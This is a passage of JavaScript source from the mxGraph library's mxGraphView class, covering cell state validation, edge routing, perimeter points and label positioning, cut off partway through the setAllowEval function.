mxGraphView.prototype.validateBackgroundPage = function() { if (this.graph.pageVisible) { var bounds = this.getBackgroundPageBounds(); if (this.backgroundPageShape == null) { this.backgroundPageShape = this.createBackgroundPageShape(bounds); this.backgroundPageShape.scale = this.scale; this.backgroundPageShape.isShadow = true; this.backgroundPageShape.dialect = this.graph.dialect; this.backgroundPageShape.init(this.backgroundPane); this.backgroundPageShape.redraw(); // Adds listener for double click handling on background if (this.graph.nativeDblClickEnabled) { mxEvent.addListener(this.backgroundPageShape.node, 'dblclick', mxUtils.bind(this, function(evt) { this.graph.dblClick(evt); })); } // Adds basic listeners for graph event dispatching outside of the // container and finishing the handling of a single gesture mxEvent.addGestureListeners(this.backgroundPageShape.node, mxUtils.bind(this, function(evt) { this.graph.fireMouseEvent(mxEvent.MOUSE_DOWN, new mxMouseEvent(evt)); }), mxUtils.bind(this, function(evt) { // Hides the tooltip if mouse is outside container if (this.graph.tooltipHandler != null && this.graph.tooltipHandler.isHideOnHover()) { this.graph.tooltipHandler.hide(); } if (this.graph.isMouseDown && !mxEvent.isConsumed(evt)) { this.graph.fireMouseEvent(mxEvent.MOUSE_MOVE, new mxMouseEvent(evt)); } }), mxUtils.bind(this, function(evt) { this.graph.fireMouseEvent(mxEvent.MOUSE_UP, new mxMouseEvent(evt)); }) ); } else { this.backgroundPageShape.scale = this.scale; this.backgroundPageShape.bounds = bounds; this.backgroundPageShape.redraw(); } } else if (this.backgroundPageShape != null) { this.backgroundPageShape.destroy(); this.backgroundPageShape = null; } }; /** * Function: getBackgroundPageBounds * * Returns the bounds for the background page. */ mxGraphView.prototype.getBackgroundPageBounds = function() { var fmt = this.graph.pageFormat; var ps = this.scale * this.graph.pageScale; var bounds = new mxRectangle(this.scale * this.translate.x, this.scale * this.translate.y, fmt.width * ps, fmt.height * ps); return bounds; }; /** * Function: redrawBackgroundImage * * Updates the bounds and redraws the background image. * * Example: * * If the background image should not be scaled, this can be replaced with * the following. * * (code) * mxGraphView.prototype.redrawBackground = function(backgroundImage, bg) * { * backgroundImage.bounds.x = this.translate.x; * backgroundImage.bounds.y = this.translate.y; * backgroundImage.bounds.width = bg.width; * backgroundImage.bounds.height = bg.height; * * backgroundImage.redraw(); * }; * (end) * * Parameters: * * backgroundImage - <mxImageShape> that represents the background image. * bg - <mxImage> that specifies the image and its dimensions. */ mxGraphView.prototype.redrawBackgroundImage = function(backgroundImage, bg) { backgroundImage.scale = this.scale; backgroundImage.bounds.x = this.scale * this.translate.x; backgroundImage.bounds.y = this.scale * this.translate.y; backgroundImage.bounds.width = this.scale * bg.width; backgroundImage.bounds.height = this.scale * bg.height; backgroundImage.redraw(); }; /** * Function: validateCell * * Recursively creates the cell state for the given cell if visible is true and * the given cell is visible. If the cell is not visible but the state exists * then it is removed using <removeState>. * * Parameters: * * cell - <mxCell> whose <mxCellState> should be created. * visible - Optional boolean indicating if the cell should be visible. Default * is true. */ mxGraphView.prototype.validateCell = function(cell, visible) { visible = (visible != null) ? visible : true; if (cell != null) { visible = visible && this.graph.isCellVisible(cell); var state = this.getState(cell, visible); if (state != null && !visible) { this.removeState(cell); } else { var model = this.graph.getModel(); var childCount = model.getChildCount(cell); for (var i = 0; i < childCount; i++) { this.validateCell(model.getChildAt(cell, i), visible && (!this.isCellCollapsed(cell) || cell == this.currentRoot)); } } } return cell; }; /** * Function: validateCellState * * Validates and repaints the <mxCellState> for the given <mxCell>. * * Parameters: * * cell - <mxCell> whose <mxCellState> should be validated. * recurse - Optional boolean indicating if the children of the cell should be * validated. Default is true. */ mxGraphView.prototype.validateCellState = function(cell, recurse) { recurse = (recurse != null) ? recurse : true; var state = null; if (cell != null) { state = this.getState(cell); if (state != null) { var model = this.graph.getModel(); if (state.invalid) { state.invalid = false; if (state.style == null || state.invalidStyle) { state.style = this.graph.getCellStyle(state.cell); state.invalidStyle = false; } if (cell != this.currentRoot) { this.validateCellState(model.getParent(cell), false); } state.setVisibleTerminalState(this.validateCellState(this.getVisibleTerminal(cell, true), false), true); state.setVisibleTerminalState(this.validateCellState(this.getVisibleTerminal(cell, false), false), false); this.updateCellState(state); // Repaint happens immediately after the cell is validated if (cell != this.currentRoot && !state.invalid) { this.graph.cellRenderer.redraw(state, false, this.isRendering()); // Handles changes to invertex paintbounds after update of rendering shape state.updateCachedBounds(); } } if (recurse && !state.invalid) { // Updates order in DOM if recursively traversing if (state.shape != null) { this.stateValidated(state); } var childCount = model.getChildCount(cell); for (var i = 0; i < childCount; i++) { this.validateCellState(model.getChildAt(cell, i)); } } } } return state; }; /** * Function: updateCellState * * Updates the given <mxCellState>. * * Parameters: * * state - <mxCellState> to be updated. */ mxGraphView.prototype.updateCellState = function(state) { state.absoluteOffset.x = 0; state.absoluteOffset.y = 0; state.origin.x = 0; state.origin.y = 0; state.length = 0; if (state.cell != this.currentRoot) { var model = this.graph.getModel(); var pState = this.getState(model.getParent(state.cell)); if (pState != null && pState.cell != this.currentRoot) { state.origin.x += pState.origin.x; state.origin.y += pState.origin.y; } var offset = this.graph.getChildOffsetForCell(state.cell); if (offset != null) { state.origin.x += offset.x; state.origin.y += offset.y; } var geo = this.graph.getCellGeometry(state.cell); if (geo != null) { if (!model.isEdge(state.cell)) { offset = geo.offset || this.EMPTY_POINT; if (geo.relative && pState != null) { if (model.isEdge(pState.cell)) { var origin = this.getPoint(pState, geo); if (origin != null) { state.origin.x += (origin.x / this.scale) - pState.origin.x - this.translate.x; state.origin.y += (origin.y / this.scale) - pState.origin.y - this.translate.y; } } else { if(typeof offset.attributes === 'undefined') { state.origin.x += geo.x * pState.width / this.scale + offset.x; state.origin.y += geo.y * pState.height / this.scale + offset.y; } else { state.origin.x += geo.x * pState.width / this.scale + parseInt(offset.attributes.x.value); state.origin.y += geo.y * pState.height / this.scale + parseInt(offset.attributes.y.value); } } } else { state.absoluteOffset.x = this.scale * offset.x; state.absoluteOffset.y = this.scale * offset.y; state.origin.x += geo.x; state.origin.y += geo.y; } } state.x = this.scale * (this.translate.x + state.origin.x); state.y = this.scale * (this.translate.y + state.origin.y); state.width = this.scale * geo.width; state.unscaledWidth = geo.width; state.height = this.scale * geo.height; if (model.isVertex(state.cell)) { this.updateVertexState(state, geo); } if (model.isEdge(state.cell)) { this.updateEdgeState(state, geo); } } } state.updateCachedBounds(); }; /** * Function: isCellCollapsed * * Returns true if the children of the given cell should not be visible in the * view. This implementation uses <mxGraph.isCellVisible> but it can be * overidden to use a separate condition. */ mxGraphView.prototype.isCellCollapsed = function(cell) { return this.graph.isCellCollapsed(cell); }; /** * Function: updateVertexState * * Validates the given cell state. */ mxGraphView.prototype.updateVertexState = function(state, geo) { var model = this.graph.getModel(); var pState = this.getState(model.getParent(state.cell)); if (geo.relative && pState != null && !model.isEdge(pState.cell)) { var alpha = mxUtils.toRadians(pState.style[mxConstants.STYLE_ROTATION] || '0'); if (alpha != 0) { var cos = Math.cos(alpha); var sin = Math.sin(alpha); var ct = new mxPoint(state.getCenterX(), state.getCenterY()); var cx = new mxPoint(pState.getCenterX(), pState.getCenterY()); var pt = mxUtils.getRotatedPoint(ct, cos, sin, cx); state.x = pt.x - state.width / 2; state.y = pt.y - state.height / 2; } } this.updateVertexLabelOffset(state); }; /** * Function: updateEdgeState * * Validates the given cell state. */ mxGraphView.prototype.updateEdgeState = function(state, geo) { var source = state.getVisibleTerminalState(true); var target = state.getVisibleTerminalState(false); // This will remove edges with no terminals and no terminal points // as such edges are invalid and produce NPEs in the edge styles. // Also removes connected edges that have no visible terminals. if ((this.graph.model.getTerminal(state.cell, true) != null && source == null) || (source == null && geo.getTerminalPoint(true) == null) || (this.graph.model.getTerminal(state.cell, false) != null && target == null) || (target == null && geo.getTerminalPoint(false) == null)) { this.clear(state.cell, true); } else { this.updateFixedTerminalPoints(state, source, target); this.updatePoints(state, geo.points, source, target); this.updateFloatingTerminalPoints(state, source, target); var pts = state.absolutePoints; if (state.cell != this.currentRoot && (pts == null || pts.length < 2 || pts[0] == null || pts[pts.length - 1] == null)) { // This will remove edges with invalid points from the list of states in the view. // Happens if the one of the terminals and the corresponding terminal point is null. this.clear(state.cell, true); } else { this.updateEdgeBounds(state); this.updateEdgeLabelOffset(state); } } }; /** * Function: updateVertexLabelOffset * * Updates the absoluteOffset of the given vertex cell state. This takes * into account the label position styles. * * Parameters: * * state - <mxCellState> whose absolute offset should be updated. */ mxGraphView.prototype.updateVertexLabelOffset = function(state) { var h = mxUtils.getValue(state.style, mxConstants.STYLE_LABEL_POSITION, mxConstants.ALIGN_CENTER); if (h == mxConstants.ALIGN_LEFT) { var lw = mxUtils.getValue(state.style, mxConstants.STYLE_LABEL_WIDTH, null); if (lw != null) { lw *= this.scale; } else { lw = state.width; } state.absoluteOffset.x -= lw; } else if (h == mxConstants.ALIGN_RIGHT) { state.absoluteOffset.x += state.width; } else if (h == mxConstants.ALIGN_CENTER) { var lw = mxUtils.getValue(state.style, mxConstants.STYLE_LABEL_WIDTH, null); if (lw != null) { // Aligns text block with given width inside the vertex width var align = mxUtils.getValue(state.style, mxConstants.STYLE_ALIGN, mxConstants.ALIGN_CENTER); var dx = 0; if (align == mxConstants.ALIGN_CENTER) { dx = 0.5; } else if (align == mxConstants.ALIGN_RIGHT) { dx = 1; } if (dx != 0) { state.absoluteOffset.x -= (lw * this.scale - state.width) * dx; } } } var v = mxUtils.getValue(state.style, mxConstants.STYLE_VERTICAL_LABEL_POSITION, mxConstants.ALIGN_MIDDLE); if (v == mxConstants.ALIGN_TOP) { state.absoluteOffset.y -= state.height; } else if (v == mxConstants.ALIGN_BOTTOM) { state.absoluteOffset.y += state.height; } }; /** * Function: resetValidationState * * Resets the current validation state. */ mxGraphView.prototype.resetValidationState = function() { this.lastNode = null; this.lastHtmlNode = null; this.lastForegroundNode = null; this.lastForegroundHtmlNode = null; }; /** * Function: stateValidated * * Invoked when a state has been processed in <validatePoints>. This is used * to update the order of the DOM nodes of the shape. * * Parameters: * * state - <mxCellState> that represents the cell state. */ mxGraphView.prototype.stateValidated = function(state) { var fg = (this.graph.getModel().isEdge(state.cell) && this.graph.keepEdgesInForeground) || (this.graph.getModel().isVertex(state.cell) && this.graph.keepEdgesInBackground); var htmlNode = (fg) ? this.lastForegroundHtmlNode || this.lastHtmlNode : this.lastHtmlNode; var node = (fg) ? this.lastForegroundNode || this.lastNode : this.lastNode; var result = this.graph.cellRenderer.insertStateAfter(state, node, htmlNode); if (fg) { this.lastForegroundHtmlNode = result[1]; this.lastForegroundNode = result[0]; } else { this.lastHtmlNode = result[1]; this.lastNode = result[0]; } }; /** * Function: updateFixedTerminalPoints * * Sets the initial absolute terminal points in the given state before the edge * style is computed. * * Parameters: * * edge - <mxCellState> whose initial terminal points should be updated. * source - <mxCellState> which represents the source terminal. * target - <mxCellState> which represents the target terminal. */ mxGraphView.prototype.updateFixedTerminalPoints = function(edge, source, target) { this.updateFixedTerminalPoint(edge, source, true, this.graph.getConnectionConstraint(edge, source, true)); this.updateFixedTerminalPoint(edge, target, false, this.graph.getConnectionConstraint(edge, target, false)); }; /** * Function: updateFixedTerminalPoint * * Sets the fixed source or target terminal point on the given edge. * * Parameters: * * edge - <mxCellState> whose terminal point should be updated. * terminal - <mxCellState> which represents the actual terminal. * source - Boolean that specifies if the terminal is the source. * constraint - <mxConnectionConstraint> that specifies the connection. */ mxGraphView.prototype.updateFixedTerminalPoint = function(edge, terminal, source, constraint) { edge.setAbsoluteTerminalPoint(this.getFixedTerminalPoint(edge, terminal, source, constraint), source); }; /** * Function: getFixedTerminalPoint * * Returns the fixed source or target terminal point for the given edge. * * Parameters: * * edge - <mxCellState> whose terminal point should be returned. * terminal - <mxCellState> which represents the actual terminal. * source - Boolean that specifies if the terminal is the source. * constraint - <mxConnectionConstraint> that specifies the connection. */ mxGraphView.prototype.getFixedTerminalPoint = function(edge, terminal, source, constraint) { var pt = null; if (constraint != null) { pt = this.graph.getConnectionPoint(terminal, constraint); } if (pt == null && terminal == null) { var s = this.scale; var tr = this.translate; var orig = edge.origin; var geo = this.graph.getCellGeometry(edge.cell); pt = geo.getTerminalPoint(source); if (pt != null) { pt = new mxPoint(s * (tr.x + pt.x + orig.x), s * (tr.y + pt.y + orig.y)); } } return pt; }; /** * Function: updateBoundsFromStencil * * Updates the bounds of the given cell state to reflect the bounds of the stencil * if it has a fixed aspect and returns the previous bounds as an <mxRectangle> if * the bounds have been modified or null otherwise. * * Parameters: * * edge - <mxCellState> whose bounds should be updated. */ mxGraphView.prototype.updateBoundsFromStencil = function(state) { var previous = null; if (state != null && state.shape != null && state.shape.stencil != null && state.shape.stencil.aspect == 'fixed') { previous = mxRectangle.fromRectangle(state); var asp = state.shape.stencil.computeAspect(state.style, state.x, state.y, state.width, state.height); state.setRect(asp.x, asp.y, state.shape.stencil.w0 * asp.width, state.shape.stencil.h0 * asp.height); } return previous; }; /** * Function: updatePoints * * Updates the absolute points in the given state using the specified array * of <mxPoints> as the relative points. * * Parameters: * * edge - <mxCellState> whose absolute points should be updated. * points - Array of <mxPoints> that constitute the relative points. * source - <mxCellState> that represents the source terminal. * target - <mxCellState> that represents the target terminal. */ mxGraphView.prototype.updatePoints = function(edge, points, source, target) { if (edge != null) { var pts = []; pts.push(edge.absolutePoints[0]); var edgeStyle = this.getEdgeStyle(edge, points, source, target); if (edgeStyle != null) { var src = this.getTerminalPort(edge, source, true); var trg = this.getTerminalPort(edge, target, false); // Uses the stencil bounds for routing and restores after routing var srcBounds = this.updateBoundsFromStencil(src); var trgBounds = this.updateBoundsFromStencil(trg); edgeStyle(edge, src, trg, points, pts); // Restores previous bounds if (srcBounds != null) { src.setRect(srcBounds.x, srcBounds.y, srcBounds.width, srcBounds.height); } if (trgBounds != null) { trg.setRect(trgBounds.x, trgBounds.y, trgBounds.width, trgBounds.height); } } else if (points != null) { for (var i = 0; i < points.length; i++) { if (points[i] != null) { var pt = mxUtils.clone(points[i]); pts.push(this.transformControlPoint(edge, pt)); } } } var tmp = edge.absolutePoints; pts.push(tmp[tmp.length-1]); edge.absolutePoints = pts; } }; /** * Function: transformControlPoint * * Transforms the given control point to an absolute point. */ mxGraphView.prototype.transformControlPoint = function(state, pt) { if (state != null && pt != null) { var orig = state.origin; return new mxPoint(this.scale * (pt.x + this.translate.x + orig.x), this.scale * (pt.y + this.translate.y + orig.y)); } return null; }; /** * Function: isLoopStyleEnabled * * Returns true if the given edge should be routed with <mxGraph.defaultLoopStyle> * or the <mxConstants.STYLE_LOOP> defined for the given edge. This implementation * returns true if the given edge is a loop and does not have connections constraints * associated. */ mxGraphView.prototype.isLoopStyleEnabled = function(edge, points, source, target) { var sc = this.graph.getConnectionConstraint(edge, source, true); var tc = this.graph.getConnectionConstraint(edge, target, false); if ((points == null || points.length < 2) && (!mxUtils.getValue(edge.style, mxConstants.STYLE_ORTHOGONAL_LOOP, false) || ((sc == null || sc.point == null) && (tc == null || tc.point == null)))) { return source != null && source == target; } return false; }; /** * Function: getEdgeStyle * * Returns the edge style function to be used to render the given edge state. */ mxGraphView.prototype.getEdgeStyle = function(edge, points, source, target) { var edgeStyle = this.isLoopStyleEnabled(edge, points, source, target) ? mxUtils.getValue(edge.style, mxConstants.STYLE_LOOP, this.graph.defaultLoopStyle) : (!mxUtils.getValue(edge.style, mxConstants.STYLE_NOEDGESTYLE, false) ? edge.style[mxConstants.STYLE_EDGE] : null); // Converts string values to objects if (typeof(edgeStyle) == "string") { var tmp = mxStyleRegistry.getValue(edgeStyle); if (tmp == null && this.isAllowEval()) { tmp = mxUtils.eval(edgeStyle); } edgeStyle = tmp; } if (typeof(edgeStyle) == "function") { return edgeStyle; } return null; }; /** * Function: updateFloatingTerminalPoints * * Updates the terminal points in the given state after the edge style was * computed for the edge. * * Parameters: * * state - <mxCellState> whose terminal points should be updated. * source - <mxCellState> that represents the source terminal. * target - <mxCellState> that represents the target terminal. */ mxGraphView.prototype.updateFloatingTerminalPoints = function(state, source, target) { var pts = state.absolutePoints; var p0 = pts[0]; var pe = pts[pts.length - 1]; if (pe == null && target != null) { this.updateFloatingTerminalPoint(state, target, source, false); } if (p0 == null && source != null) { this.updateFloatingTerminalPoint(state, source, target, true); } }; /** * Function: updateFloatingTerminalPoint * * Updates the absolute terminal point in the given state for the given * start and end state, where start is the source if source is true. * * Parameters: * * edge - <mxCellState> whose terminal point should be updated. * start - <mxCellState> for the terminal on "this" side of the edge. * end - <mxCellState> for the terminal on the other side of the edge. * source - Boolean indicating if start is the source terminal state. */ mxGraphView.prototype.updateFloatingTerminalPoint = function(edge, start, end, source) { edge.setAbsoluteTerminalPoint(this.getFloatingTerminalPoint(edge, start, end, source), source); }; /** * Function: getFloatingTerminalPoint * * Returns the floating terminal point for the given edge, start and end * state, where start is the source if source is true. * * Parameters: * * edge - <mxCellState> whose terminal point should be returned. * start - <mxCellState> for the terminal on "this" side of the edge. * end - <mxCellState> for the terminal on the other side of the edge. * source - Boolean indicating if start is the source terminal state. */ mxGraphView.prototype.getFloatingTerminalPoint = function(edge, start, end, source) { start = this.getTerminalPort(edge, start, source); var next = this.getNextPoint(edge, end, source); var orth = this.graph.isOrthogonal(edge); var alpha = mxUtils.toRadians(Number(start.style[mxConstants.STYLE_ROTATION] || '0')); var center = new mxPoint(start.getCenterX(), start.getCenterY()); if (alpha != 0) { var cos = Math.cos(-alpha); var sin = Math.sin(-alpha); next = mxUtils.getRotatedPoint(next, cos, sin, center); } var border = parseFloat(edge.style[mxConstants.STYLE_PERIMETER_SPACING] || 0); border += parseFloat(edge.style[(source) ? mxConstants.STYLE_SOURCE_PERIMETER_SPACING : mxConstants.STYLE_TARGET_PERIMETER_SPACING] || 0); var pt = this.getPerimeterPoint(start, next, alpha == 0 && orth, border); if (alpha != 0) { var cos = Math.cos(alpha); var sin = Math.sin(alpha); pt = mxUtils.getRotatedPoint(pt, cos, sin, center); } return pt; }; /** * Function: getTerminalPort * * Returns an <mxCellState> that represents the source or target terminal or * port for the given edge. * * Parameters: * * state - <mxCellState> that represents the state of the edge. * terminal - <mxCellState> that represents the terminal. * source - Boolean indicating if the given terminal is the source terminal. */ mxGraphView.prototype.getTerminalPort = function(state, terminal, source) { var key = (source) ? mxConstants.STYLE_SOURCE_PORT : mxConstants.STYLE_TARGET_PORT; var id = mxUtils.getValue(state.style, key); if (id != null) { var tmp = this.getState(this.graph.getModel().getCell(id)); // Only uses ports where a cell state exists if (tmp != null) { terminal = tmp; } } return terminal; }; /** * Function: getPerimeterPoint * * Returns an <mxPoint> that defines the location of the intersection point between * the perimeter and the line between the center of the shape and the given point. * * Parameters: * * terminal - <mxCellState> for the source or target terminal. * next - <mxPoint> that lies outside of the given terminal. * orthogonal - Boolean that specifies if the orthogonal projection onto * the perimeter should be returned. If this is false then the intersection * of the perimeter and the line between the next and the center point is * returned. * border - Optional border between the perimeter and the shape. */ mxGraphView.prototype.getPerimeterPoint = function(terminal, next, orthogonal, border) { var point = null; if (terminal != null) { var perimeter = this.getPerimeterFunction(terminal); if (perimeter != null && next != null) { var bounds = this.getPerimeterBounds(terminal, border); if (bounds.width > 0 || bounds.height > 0) { point = new mxPoint(next.x, next.y); var flipH = false; var flipV = false; if (this.graph.model.isVertex(terminal.cell)) { flipH = mxUtils.getValue(terminal.style, mxConstants.STYLE_FLIPH, 0) == 1; flipV = mxUtils.getValue(terminal.style, mxConstants.STYLE_FLIPV, 0) == 1; // Legacy support for stencilFlipH/V if (terminal.shape != null && terminal.shape.stencil != null) { flipH = (mxUtils.getValue(terminal.style, 'stencilFlipH', 0) == 1) || flipH; flipV = (mxUtils.getValue(terminal.style, 'stencilFlipV', 0) == 1) || flipV; } if (flipH) { point.x = 2 * bounds.getCenterX() - point.x; } if (flipV) { point.y = 2 * bounds.getCenterY() - point.y; } } point = perimeter(bounds, terminal, point, orthogonal); if (point != null) { if (flipH) { point.x = 2 * bounds.getCenterX() - point.x; } if (flipV) { point.y = 2 * bounds.getCenterY() - point.y; } } } } if (point == null) { point = this.getPoint(terminal); } } return point; }; /** * Function: getRoutingCenterX * * Returns the x-coordinate of the center point for automatic routing. */ mxGraphView.prototype.getRoutingCenterX = function (state) { var f = (state.style != null) ? parseFloat(state.style [mxConstants.STYLE_ROUTING_CENTER_X]) || 0 : 0; return state.getCenterX() + f * state.width; }; /** * Function: getRoutingCenterY * * Returns the y-coordinate of the center point for automatic routing. */ mxGraphView.prototype.getRoutingCenterY = function (state) { var f = (state.style != null) ? parseFloat(state.style [mxConstants.STYLE_ROUTING_CENTER_Y]) || 0 : 0; return state.getCenterY() + f * state.height; }; /** * Function: getPerimeterBounds * * Returns the perimeter bounds for the given terminal, edge pair as an * <mxRectangle>. * * If you have a model where each terminal has a relative child that should * act as the graphical endpoint for a connection from/to the terminal, then * this method can be replaced as follows: * * (code) * var oldGetPerimeterBounds = mxGraphView.prototype.getPerimeterBounds; * mxGraphView.prototype.getPerimeterBounds = function(terminal, edge, isSource) * { * var model = this.graph.getModel(); * var childCount = model.getChildCount(terminal.cell); * * if (childCount > 0) * { * var child = model.getChildAt(terminal.cell, 0); * var geo = model.getGeometry(child); * * if (geo != null && * geo.relative) * { * var state = this.getState(child); * * if (state != null) * { * terminal = state; * } * } * } * * return oldGetPerimeterBounds.apply(this, arguments); * }; * (end) * * Parameters: * * terminal - <mxCellState> that represents the terminal. * border - Number that adds a border between the shape and the perimeter. */ mxGraphView.prototype.getPerimeterBounds = function(terminal, border) { border = (border != null) ? border : 0; if (terminal != null) { border += parseFloat(terminal.style[mxConstants.STYLE_PERIMETER_SPACING] || 0); } return terminal.getPerimeterBounds(border * this.scale); }; /** * Function: getPerimeterFunction * * Returns the perimeter function for the given state. */ mxGraphView.prototype.getPerimeterFunction = function(state) { var perimeter = state.style[mxConstants.STYLE_PERIMETER]; // Converts string values to objects if (typeof(perimeter) == "string") { var tmp = mxStyleRegistry.getValue(perimeter); if (tmp == null && this.isAllowEval()) { tmp = mxUtils.eval(perimeter); } perimeter = tmp; } if (typeof(perimeter) == "function") { return perimeter; } return null; }; /** * Function: getNextPoint * * Returns the nearest point in the list of absolute points or the center * of the opposite terminal. * * Parameters: * * edge - <mxCellState> that represents the edge. * opposite - <mxCellState> that represents the opposite terminal. * source - Boolean indicating if the next point for the source or target * should be returned. */ mxGraphView.prototype.getNextPoint = function(edge, opposite, source) { var pts = edge.absolutePoints; var point = null; if (pts != null && pts.length >= 2) { var count = pts.length; point = pts[(source) ? Math.min(1, count - 1) : Math.max(0, count - 2)]; } if (point == null && opposite != null) { point = new mxPoint(opposite.getCenterX(), opposite.getCenterY()); } return point; }; /** * Function: getVisibleTerminal * * Returns the nearest ancestor terminal that is visible. The edge appears * to be connected to this terminal on the display. The result of this method * is cached in <mxCellState.getVisibleTerminalState>. * * Parameters: * * edge - <mxCell> whose visible terminal should be returned. * source - Boolean that specifies if the source or target terminal * should be returned. */ mxGraphView.prototype.getVisibleTerminal = function(edge, source) { var model = this.graph.getModel(); var result = model.getTerminal(edge, source); var best = result; while (result != null && result != this.currentRoot) { if (!this.graph.isCellVisible(best) || this.isCellCollapsed(result)) { best = result; } result = model.getParent(result); } // Checks if the result is valid for the current view state if (best != null && (!model.contains(best) || model.getParent(best) == model.getRoot() || best == this.currentRoot)) { best = null; } return best; }; /** * Function: updateEdgeBounds * * Updates the given state using the bounding box of t * he absolute points. * Also updates <mxCellState.terminalDistance>, <mxCellState.length> and * <mxCellState.segments>. * * Parameters: * * state - <mxCellState> whose bounds should be updated. */ mxGraphView.prototype.updateEdgeBounds = function(state) { var points = state.absolutePoints; var p0 = points[0]; var pe = points[points.length - 1]; if (p0.x != pe.x || p0.y != pe.y) { var dx = pe.x - p0.x; var dy = pe.y - p0.y; state.terminalDistance = Math.sqrt(dx * dx + dy * dy); } else { state.terminalDistance = 0; } var length = 0; var segments = []; var pt = p0; if (pt != null) { var minX = pt.x; var minY = pt.y; var maxX = minX; var maxY = minY; for (var i = 1; i < points.length; i++) { var tmp = points[i]; if (tmp != null) { var dx = pt.x - tmp.x; var dy = pt.y - tmp.y; var segment = Math.sqrt(dx * dx + dy * dy); segments.push(segment); length += segment; pt = tmp; minX = Math.min(pt.x, minX); minY = Math.min(pt.y, minY); maxX = Math.max(pt.x, maxX); maxY = Math.max(pt.y, maxY); } } state.length = length; state.segments = segments; var markerSize = 1; // TODO: include marker size state.x = minX; state.y = minY; state.width = Math.max(markerSize, maxX - minX); state.height = Math.max(markerSize, maxY - minY); } }; /** * Function: getPoint * * Returns the absolute point on the edge for the given relative * <mxGeometry> as an <mxPoint>. The edge is represented by the given * <mxCellState>. * * Parameters: * * state - <mxCellState> that represents the state of the parent edge. * geometry - <mxGeometry> that represents the relative location. */ mxGraphView.prototype.getPoint = function(state, geometry) { var x = state.getCenterX(); var y = state.getCenterY(); if (state.segments != null && (geometry == null || geometry.relative)) { var gx = (geometry != null) ? geometry.x / 2 : 0; var pointCount = state.absolutePoints.length; var dist = Math.round((gx + 0.5) * state.length); var segment = state.segments[0]; var length = 0; var index = 1; while (dist >= Math.round(length + segment) && index < pointCount - 1) { length += segment; segment = state.segments[index++]; } var factor = (segment == 0) ? 0 : (dist - length) / segment; var p0 = state.absolutePoints[index-1]; var pe = state.absolutePoints[index]; if (p0 != null && pe != null) { var gy = 0; var offsetX = 0; var offsetY = 0; if (geometry != null) { gy = geometry.y; var offset = geometry.offset; if (offset != null) { offsetX = offset.x; offsetY = offset.y; } } var dx = pe.x - p0.x; var dy = pe.y - p0.y; var nx = (segment == 0) ? 0 : dy / segment; var ny = (segment == 0) ? 0 : dx / segment; x = p0.x + dx * factor + (nx * gy + offsetX) * this.scale; y = p0.y + dy * factor - (ny * gy - offsetY) * this.scale; } } else if (geometry != null) { var offset = geometry.offset; if (offset != null) { x += offset.x; y += offset.y; } } return new mxPoint(x, y); }; /** * Function: getRelativePoint * * Gets the relative point that describes the given, absolute label * position for the given edge state. * * Parameters: * * state - <mxCellState> that represents the state of the parent edge. * x - Specifies the x-coordinate of the absolute label location. * y - Specifies the y-coordinate of the absolute label location. */ mxGraphView.prototype.getRelativePoint = function(edgeState, x, y) { var model = this.graph.getModel(); var geometry = model.getGeometry(edgeState.cell); if (geometry != null) { var pointCount = edgeState.absolutePoints.length; if (geometry.relative && pointCount > 1) { var totalLength = edgeState.length; var segments = edgeState.segments; // Works which line segment the point of the label is closest to var p0 = edgeState.absolutePoints[0]; var pe = edgeState.absolutePoints[1]; var minDist = mxUtils.ptSegDistSq(p0.x, p0.y, pe.x, pe.y, x, y); var index = 0; var tmp = 0; var length = 0; for (var i = 2; i < pointCount; i++) { tmp += segments[i - 2]; pe = edgeState.absolutePoints[i]; var dist = mxUtils.ptSegDistSq(p0.x, p0.y, pe.x, pe.y, x, y); if (dist <= minDist) { minDist = dist; index = i - 1; length = tmp; } p0 = pe; } var seg = segments[index]; p0 = edgeState.absolutePoints[index]; pe = edgeState.absolutePoints[index + 1]; var x2 = p0.x; var y2 = p0.y; var x1 = pe.x; var y1 = pe.y; var px = x; var py = y; var xSegment = x2 - x1; var ySegment = y2 - y1; px -= x1; py -= y1; var projlenSq = 0; px = xSegment - px; py = ySegment - py; var dotprod = px * xSegment + py * ySegment; if (dotprod <= 0.0) { projlenSq = 0; } else { projlenSq = dotprod * dotprod / (xSegment * xSegment + ySegment * ySegment); } var projlen = Math.sqrt(projlenSq); if (projlen > seg) { projlen = seg; } var yDistance = Math.sqrt(mxUtils.ptSegDistSq(p0.x, p0.y, pe .x, pe.y, x, y)); var direction = mxUtils.relativeCcw(p0.x, p0.y, pe.x, pe.y, x, y); if (direction == -1) { yDistance = -yDistance; } // Constructs the relative point for the label return new mxPoint(((totalLength / 2 - length - projlen) / totalLength) * -2, yDistance / this.scale); } } return new mxPoint(); }; /** * Function: updateEdgeLabelOffset * * Updates <mxCellState.absoluteOffset> for the given state. The absolute * offset is normally used for the position of the edge label. Is is * calculated from the geometry as an absolute offset from the center * between the two endpoints if the geometry is absolute, or as the * relative distance between the center along the line and the absolute * orthogonal distance if the geometry is relative. * * Parameters: * * state - <mxCellState> whose absolute offset should be updated. */ mxGraphView.prototype.updateEdgeLabelOffset = function(state) { var points = state.absolutePoints; state.absoluteOffset.x = state.getCenterX(); state.absoluteOffset.y = state.getCenterY(); if (points != null && points.length > 0 && state.segments != null) { var geometry = this.graph.getCellGeometry(state.cell); if (geometry.relative) { var offset = this.getPoint(state, geometry); if (offset != null) { state.absoluteOffset = offset; } } else { var p0 = points[0]; var pe = points[points.length - 1]; if (p0 != null && pe != null) { var dx = pe.x - p0.x; var dy = pe.y - p0.y; var x0 = 0; var y0 = 0; var off = geometry.offset; if (off != null) { x0 = off.x; y0 = off.y; } var x = p0.x + dx / 2 + x0 * this.scale; var y = p0.y + dy / 2 + y0 * this.scale; state.absoluteOffset.x = x; state.absoluteOffset.y = y; } } } }; /** * Function: getState * * Returns the <mxCellState> for the given cell. If create is true, then * the state is created if it does not yet exist. * * Parameters: * * cell - <mxCell> for which the <mxCellState> should be returned. * create - Optional boolean indicating if a new state should be created * if it does not yet exist. Default is false. */ mxGraphView.prototype.getState = function(cell, create) { create = create || false; var state = null; if (cell != null) { state = this.states.get(cell); if (create && (state == null || this.updateStyle) && this.graph.isCellVisible(cell)) { if (state == null) { state = this.createState(cell); this.states.put(cell, state); } else { state.style = this.graph.getCellStyle(cell); } } } return state; }; /** * Function: isRendering * * Returns <rendering>. */ mxGraphView.prototype.isRendering = function() { return this.rendering; }; /** * Function: setRendering * * Sets <rendering>. */ mxGraphView.prototype.setRendering = function(value) { this.rendering = value; }; /** * Function: isAllowEval * * Returns <allowEval>. */ mxGraphView.prototype.isAllowEval = function() { return this.allowEval; }; /** * Function: setAllowEval * * Sets <allowEval>. */ mxGraphView.prototype.setAllowEval = function(value) { 